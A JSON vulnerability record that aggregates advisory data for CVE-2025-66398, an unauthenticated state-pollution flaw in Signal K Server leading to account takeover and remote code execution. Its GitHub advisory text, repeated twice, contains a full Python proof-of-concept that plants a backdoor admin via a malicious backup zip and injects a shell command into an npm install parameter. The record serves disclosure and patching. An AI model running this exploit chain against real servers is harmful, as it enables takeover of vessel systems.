{"id":"CVE-2025-66398","aliases":["EUVD-2025-206140","GHSA-w3x5-7c4c-66p9"],"status":"published","title":"Signal K Server has Unauthenticated State Pollution leading to Remote Code Execution (RCE)","description":"Signal K Server is a server application that runs on a central hub in a boat. Prior to version 2.19.0, an unauthenticated attacker can pollute the internal state (`restoreFilePath`) of the server via the `/skServer/validateBackup` endpoint. This allows the attacker to hijack the administrator's \"Restore\" functionality to overwrite critical server configuration files (e.g., `security.json`, `package.json`), leading to account takeover and Remote Code Execution (RCE). Version 2.19.0 patches this vulnerability.","severity":{"version":"3.1","score":9.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.1985,"percentile":0.97452,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":true},"cwes":["CWE-78","CWE-913"],"published":"2026-01-01T18:00:38Z","modified":"2026-10-28T02:30:31Z","exploits":[{"source":"pocgithub","id":"joshuavanderpoll/cve-2025-66398","title":"joshuavanderpoll/cve-2025-66398","date":"2026-03-10","url":"https://github.com/joshuavanderpoll/cve-2025-66398"},{"source":"pocgithub","id":"showy-headteacher114/cve-2025-66398","title":"showy-headteacher114/cve-2025-66398","date":"2026-03-23","url":"https://github.com/showy-headteacher114/cve-2025-66398"}],"fixes":[{"ecosystem":"npm","package":"signalk-server","fixed_in":["2.19.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"signalk-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.19.0"}]}]},{"source":"osv","ecosystem":"npm","package":"signalk-server","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.19.0"}]}]}],"products":[{"vendor":"signalk","product":"signal_k_server"},{"vendor":"signalk","product":"signalk-server"}],"references":[{"url":"https://github.com/SignalK/signalk-server/security/advisories/GHSA-w3x5-7c4c-66p9","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/SignalK/signalk-server/releases/tag/v2.19.0","tags":["x_refsource_MISC","Release Notes","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-66398","tags":["advisory"]},{"url":"https://github.com/SignalK/signalk-server/commit/5c211eaf33f0ccadbaed6720264780d92afbd7f8","tags":["web"]},{"url":"https://github.com/advisories/GHSA-w3x5-7c4c-66p9"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/66xxx/CVE-2025-66398.json","tags":["advisory"]},{"url":"https://github.com/SignalK/signalk-server","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2025-66398","title":"Signal K Server has Unauthenticated State Pollution leading to Remote Code Execution (RCE)","description":"Signal K Server is a server application that runs on a central hub in a boat. Prior to version 2.19.0, an unauthenticated attacker can pollute the internal state (`restoreFilePath`) of the server via the `/skServer/validateBackup` endpoint. This allows the attacker to hijack the administrator's \"Restore\" functionality to overwrite critical server configuration files (e.g., `security.json`, `package.json`), leading to account takeover and Remote Code Execution (RCE). Version 2.19.0 patches this vulnerability.","status":"published","published":"2026-01-01T18:00:38.575Z","modified":"2026-01-05T21:00:41.972Z","cvss":[{"version":"3.1","score":9.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-78","CWE-913"],"updated_at":"2026-11-02T14:32:53.157279Z"}],"euvd":[{"id":"EUVD-2025-206140","description":"Signal K Server is a server application that runs on a central hub in a boat. Prior to version 2.19.0, an unauthenticated attacker can pollute the internal state (`restoreFilePath`) of the server via the `/skServer/validateBackup` endpoint. This allows the attacker to hijack the administrator's \"Restore\" functionality to overwrite critical server configuration files (e.g., `security.json`, `package.json`), leading to account takeover and Remote Code Execution (RCE). Version 2.19.0 patches this vulnerability.","status":"published","published":"2026-01-01T18:00:38Z","modified":"2026-01-05T21:00:41Z","cvss":[{"version":"3.1","score":9.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T19:48:55.889439Z"}],"ghsa":[{"id":"GHSA-w3x5-7c4c-66p9","title":"Signal K Server has Unauthenticated State Pollution leading to Remote Code Execution (RCE)","description":"### Summary\nAn unauthenticated attacker can pollute the internal state (`restoreFilePath`) of the server via the `/skServer/validateBackup` endpoint. This allows the attacker to hijack the administrator's \"Restore\" functionality to overwrite critical server configuration files (e.g., `security.json`, `package.json`), leading to account takeover and Remote Code Execution (RCE).\n\n### Details\nThe vulnerability is caused by the use of a module-level global variable `restoreFilePath` in `src/serverroutes.ts`, which is shared across all requests.\n\n**Vulnerable Code Analysis:**\n1.  **Global State**: `restoreFilePath` is defined at the top level of the module.\n    ```typescript\n    // src/serverroutes.ts\n    let restoreFilePath: string\n    ```\n2.  **Unauthenticated State Pollution**: The `/skServer/validateBackup` endpoint updates this variable. Crucially, this endpoint **lacks authentication middleware**, allowing any user to access it.\n    ```typescript\n    app.post(`${SERVERROUTESPREFIX}/validateBackup`, (req, res) =\u003e {\n      // ... handles file upload ...\n      restoreFilePath = fs.mkdtempSync(...) // Attacker controls this path\n    })\n    ```\n3.  **Restore Hijacking**: The `/skServer/restore` endpoint uses the polluted `restoreFilePath` to perform the restoration.\n    ```typescript\n    app.post(`${SERVERROUTESPREFIX}/restore`, (req, res) =\u003e {\n      // ...\n      const unzipStream = unzipper.Extract({ path: restoreFilePath }) // Uses polluted path\n      // ...\n    })\n    ```\n\n**Exploit Chain:**\n1.  **Pollution**: Attacker uploads a malicious zip file to `/validateBackup`. The server saves it and updates `restoreFilePath` to point to this malicious file.\n2.  **Hijacking**: When `/restore` is triggered (either by the attacker if they have access, or by a legitimate admin), the server restores the attacker's malicious files.\n3.  **Backdoor**: The attacker overwrites `security.json` to add a new administrator account.\n4.  **RCE**: Using the new admin account, the attacker exploits a separate Command Injection vulnerability in the App Store (`/skServer/appstore/install/...`) to execute arbitrary system commands (e.g., `npm install` injection).\n\n### PoC\nHere is a complete Python script to reproduce the full exploit chain.\n\n```python\nimport requests\nimport zipfile\nimport io\nimport json\nimport time\n\n# Configuration\nTARGET_URL = \"http://localhost:3000\"\nBACKDOOR_USER = \"hacker\"\nBACKDOOR_PASS = \"hacked1234\"\n\ndef step1_plant_backdoor():\n    print(\"[*] Step 1: Planting Backdoor via State Pollution...\")\n    \n    # 1. Create malicious zip with security.json\n    zip_buffer = io.BytesIO()\n    with zipfile.ZipFile(zip_buffer, 'w') as z:\n        # Add backdoor admin user\n        security_config = {\n            \"users\": [{\n                \"username\": BACKDOOR_USER,\n                \"password\": BACKDOOR_PASS, \n                \"permissions\": \"admin\"\n            }]\n        }\n        z.writestr(\"security.json\", json.dumps(security_config))\n        # Enable security to make the backdoor effective\n        z.writestr(\"settings.json\", json.dumps({\"security\": {\"strategy\": \"./tokensecurity\"}}))\n    zip_buffer.seek(0)\n\n    # 2. Pollute State (Unauthenticated)\n    print(\"    [+] Sending malicious backup to /validateBackup...\")\n    res = requests.post(f\"{TARGET_URL}/skServer/validateBackup\", \n                        files={'file': ('malicious.zip', zip_buffer, 'application/zip')})\n    if res.status_code != 200:\n        print(\"    [-] Failed to pollute state.\")\n        return False\n\n    # 3. Trigger Restore (Hijacking)\n    print(\"    [+] Triggering restore to overwrite server config...\")\n    # Note: In a real attack, if /restore is protected, attacker waits for admin to use it.\n    # Here we assume we can trigger it or security is currently off.\n    res = requests.post(f\"{TARGET_URL}/skServer/restore\", json={\"security.json\": True, \"settings.json\": True})\n    \n    if res.status_code in [200, 202]:\n        print(\"    [+] Restore triggered successfully. Backdoor planted.\")\n        print(\"    [!] PLEASE RESTART THE SERVER to load the new configuration.\")\n        return True\n    else:\n        print(f\"    [-] Restore failed: {res.status_code} {res.text}\")\n        return False\n\ndef step2_execute_rce():\n    print(\"\\n[*] Step 2: Executing RCE as Backdoor User...\")\n    \n    # 1. Login\n    session = requests.Session()\n    login_payload = {\"username\": BACKDOOR_USER, \"password\": BACKDOOR_PASS}\n    res = session.post(f\"{TARGET_URL}/signalk/v1/auth/login\", json=login_payload)\n    \n    if res.status_code != 200:\n        print(\"    [-] Login failed. Did you restart the server?\")\n        return\n    \n    token = res.json()['token']\n    print(\"    [+] Login successful. Authenticated as Admin.\")\n\n    # 2. RCE Payload (Windows Example)\n    # Injecting command into version parameter of npm install\n    # Command: echo RCE_SUCCESS \u003e rce_proof.txt\n    cmd_payload = \"1.0.0 \u0026 echo RCE_SUCCESS \u003e rce_proof.txt \u0026\"\n    \n    # We need a valid package name to bypass existence check\n    package_name = \"@signalk/freeboard-sk\" \n    \n    print(f\"    [+] Sending RCE payload: {cmd_payload}\")\n    headers = {'Authorization': f'Bearer {token}'}\n    try:\n        session.post(f\"{TARGET_URL}/skServer/appstore/install/{package_name}/{cmd_payload}\", \n                     headers=headers, timeout=5)\n    except:\n        pass # Timeout is expected as the command might hang or take time\n\n    print(\"    [+] Payload sent. Check for 'rce_proof.txt' in server root.\")\n\nif __name__ == \"__main__\":\n    # Run Step 1, then restart server manually, then Run Step 2\n    # step1_plant_backdoor()\n    step2_execute_rce()\n```\n\n### Impact\nRemote Code Execution (RCE), Account Takeover, Denial of Service.\n**Verified**: RCE is demonstrated by creating a file named `rce_proof.txt` containing the text \"RCE_SUCCESS\" on the server filesystem using the exploit chain.","status":"published","published":"2026-01-02T15:11:49Z","modified":"2026-04-27T11:36:23Z","cvss":[{"version":"3.1","score":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-78","CWE-913"],"updated_at":"2026-11-02T14:39:58.897998Z"}],"nvd":[{"id":"CVE-2025-66398","description":"Signal K Server is a server application that runs on a central hub in a boat. Prior to version 2.19.0, an unauthenticated attacker can pollute the internal state (`restoreFilePath`) of the server via the `/skServer/validateBackup` endpoint. This allows the attacker to hijack the administrator's \"Restore\" functionality to overwrite critical server configuration files (e.g., `security.json`, `package.json`), leading to account takeover and Remote Code Execution (RCE). Version 2.19.0 patches this vulnerability.","status":"published","published":"2026-01-01T18:15:40.55Z","modified":"2026-10-07T11:10:00.153Z","cvss":[{"version":"3.1","score":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"critical","assessor":"secondary"},{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-78","CWE-913"],"updated_at":"2026-11-02T14:11:54.323368Z"}],"osv":[{"id":"CVE-2025-66398","title":"Signal K Server has Unauthenticated State Pollution leading to Remote Code Execution (RCE)","description":"Signal K Server is a server application that runs on a central hub in a boat. Prior to version 2.19.0, an unauthenticated attacker can pollute the internal state (`restoreFilePath`) of the server via the `/skServer/validateBackup` endpoint. This allows the attacker to hijack the administrator's \"Restore\" functionality to overwrite critical server configuration files (e.g., `security.json`, `package.json`), leading to account takeover and Remote Code Execution (RCE). Version 2.19.0 patches this vulnerability.","status":"published","published":"2026-01-01T18:00:38.575Z","modified":"2026-10-28T02:30:31.240318807Z","cvss":[{"version":"3.1","score":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-78","CWE-913"],"updated_at":"2026-11-02T15:44:52.202386Z"},{"id":"GHSA-w3x5-7c4c-66p9","title":"Signal K Server has Unauthenticated State Pollution leading to Remote Code Execution (RCE)","description":"### Summary\nAn unauthenticated attacker can pollute the internal state (`restoreFilePath`) of the server via the `/skServer/validateBackup` endpoint. This allows the attacker to hijack the administrator's \"Restore\" functionality to overwrite critical server configuration files (e.g., `security.json`, `package.json`), leading to account takeover and Remote Code Execution (RCE).\n\n### Details\nThe vulnerability is caused by the use of a module-level global variable `restoreFilePath` in `src/serverroutes.ts`, which is shared across all requests.\n\n**Vulnerable Code Analysis:**\n1.  **Global State**: `restoreFilePath` is defined at the top level of the module.\n    ```typescript\n    // src/serverroutes.ts\n    let restoreFilePath: string\n    ```\n2.  **Unauthenticated State Pollution**: The `/skServer/validateBackup` endpoint updates this variable. Crucially, this endpoint **lacks authentication middleware**, allowing any user to access it.\n    ```typescript\n    app.post(`${SERVERROUTESPREFIX}/validateBackup`, (req, res) =\u003e {\n      // ... handles file upload ...\n      restoreFilePath = fs.mkdtempSync(...) // Attacker controls this path\n    })\n    ```\n3.  **Restore Hijacking**: The `/skServer/restore` endpoint uses the polluted `restoreFilePath` to perform the restoration.\n    ```typescript\n    app.post(`${SERVERROUTESPREFIX}/restore`, (req, res) =\u003e {\n      // ...\n      const unzipStream = unzipper.Extract({ path: restoreFilePath }) // Uses polluted path\n      // ...\n    })\n    ```\n\n**Exploit Chain:**\n1.  **Pollution**: Attacker uploads a malicious zip file to `/validateBackup`. The server saves it and updates `restoreFilePath` to point to this malicious file.\n2.  **Hijacking**: When `/restore` is triggered (either by the attacker if they have access, or by a legitimate admin), the server restores the attacker's malicious files.\n3.  **Backdoor**: The attacker overwrites `security.json` to add a new administrator account.\n4.  **RCE**: Using the new admin account, the attacker exploits a separate Command Injection vulnerability in the App Store (`/skServer/appstore/install/...`) to execute arbitrary system commands (e.g., `npm install` injection).\n\n### PoC\nHere is a complete Python script to reproduce the full exploit chain.\n\n```python\nimport requests\nimport zipfile\nimport io\nimport json\nimport time\n\n# Configuration\nTARGET_URL = \"http://localhost:3000\"\nBACKDOOR_USER = \"hacker\"\nBACKDOOR_PASS = \"hacked1234\"\n\ndef step1_plant_backdoor():\n    print(\"[*] Step 1: Planting Backdoor via State Pollution...\")\n    \n    # 1. Create malicious zip with security.json\n    zip_buffer = io.BytesIO()\n    with zipfile.ZipFile(zip_buffer, 'w') as z:\n        # Add backdoor admin user\n        security_config = {\n            \"users\": [{\n                \"username\": BACKDOOR_USER,\n                \"password\": BACKDOOR_PASS, \n                \"permissions\": \"admin\"\n            }]\n        }\n        z.writestr(\"security.json\", json.dumps(security_config))\n        # Enable security to make the backdoor effective\n        z.writestr(\"settings.json\", json.dumps({\"security\": {\"strategy\": \"./tokensecurity\"}}))\n    zip_buffer.seek(0)\n\n    # 2. Pollute State (Unauthenticated)\n    print(\"    [+] Sending malicious backup to /validateBackup...\")\n    res = requests.post(f\"{TARGET_URL}/skServer/validateBackup\", \n                        files={'file': ('malicious.zip', zip_buffer, 'application/zip')})\n    if res.status_code != 200:\n        print(\"    [-] Failed to pollute state.\")\n        return False\n\n    # 3. Trigger Restore (Hijacking)\n    print(\"    [+] Triggering restore to overwrite server config...\")\n    # Note: In a real attack, if /restore is protected, attacker waits for admin to use it.\n    # Here we assume we can trigger it or security is currently off.\n    res = requests.post(f\"{TARGET_URL}/skServer/restore\", json={\"security.json\": True, \"settings.json\": True})\n    \n    if res.status_code in [200, 202]:\n        print(\"    [+] Restore triggered successfully. Backdoor planted.\")\n        print(\"    [!] PLEASE RESTART THE SERVER to load the new configuration.\")\n        return True\n    else:\n        print(f\"    [-] Restore failed: {res.status_code} {res.text}\")\n        return False\n\ndef step2_execute_rce():\n    print(\"\\n[*] Step 2: Executing RCE as Backdoor User...\")\n    \n    # 1. Login\n    session = requests.Session()\n    login_payload = {\"username\": BACKDOOR_USER, \"password\": BACKDOOR_PASS}\n    res = session.post(f\"{TARGET_URL}/signalk/v1/auth/login\", json=login_payload)\n    \n    if res.status_code != 200:\n        print(\"    [-] Login failed. Did you restart the server?\")\n        return\n    \n    token = res.json()['token']\n    print(\"    [+] Login successful. Authenticated as Admin.\")\n\n    # 2. RCE Payload (Windows Example)\n    # Injecting command into version parameter of npm install\n    # Command: echo RCE_SUCCESS \u003e rce_proof.txt\n    cmd_payload = \"1.0.0 \u0026 echo RCE_SUCCESS \u003e rce_proof.txt \u0026\"\n    \n    # We need a valid package name to bypass existence check\n    package_name = \"@signalk/freeboard-sk\" \n    \n    print(f\"    [+] Sending RCE payload: {cmd_payload}\")\n    headers = {'Authorization': f'Bearer {token}'}\n    try:\n        session.post(f\"{TARGET_URL}/skServer/appstore/install/{package_name}/{cmd_payload}\", \n                     headers=headers, timeout=5)\n    except:\n        pass # Timeout is expected as the command might hang or take time\n\n    print(\"    [+] Payload sent. Check for 'rce_proof.txt' in server root.\")\n\nif __name__ == \"__main__\":\n    # Run Step 1, then restart server manually, then Run Step 2\n    # step1_plant_backdoor()\n    step2_execute_rce()\n```\n\n### Impact\nRemote Code Execution (RCE), Account Takeover, Denial of Service.\n**Verified**: RCE is demonstrated by creating a file named `rce_proof.txt` containing the text \"RCE_SUCCESS\" on the server filesystem using the exploit chain.","status":"published","published":"2026-01-02T15:11:49Z","modified":"2026-02-03T03:14:47.787144Z","cvss":[{"version":"3.1","score":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-78","CWE-913"],"updated_at":"2026-11-02T15:46:58.04805Z"}]}}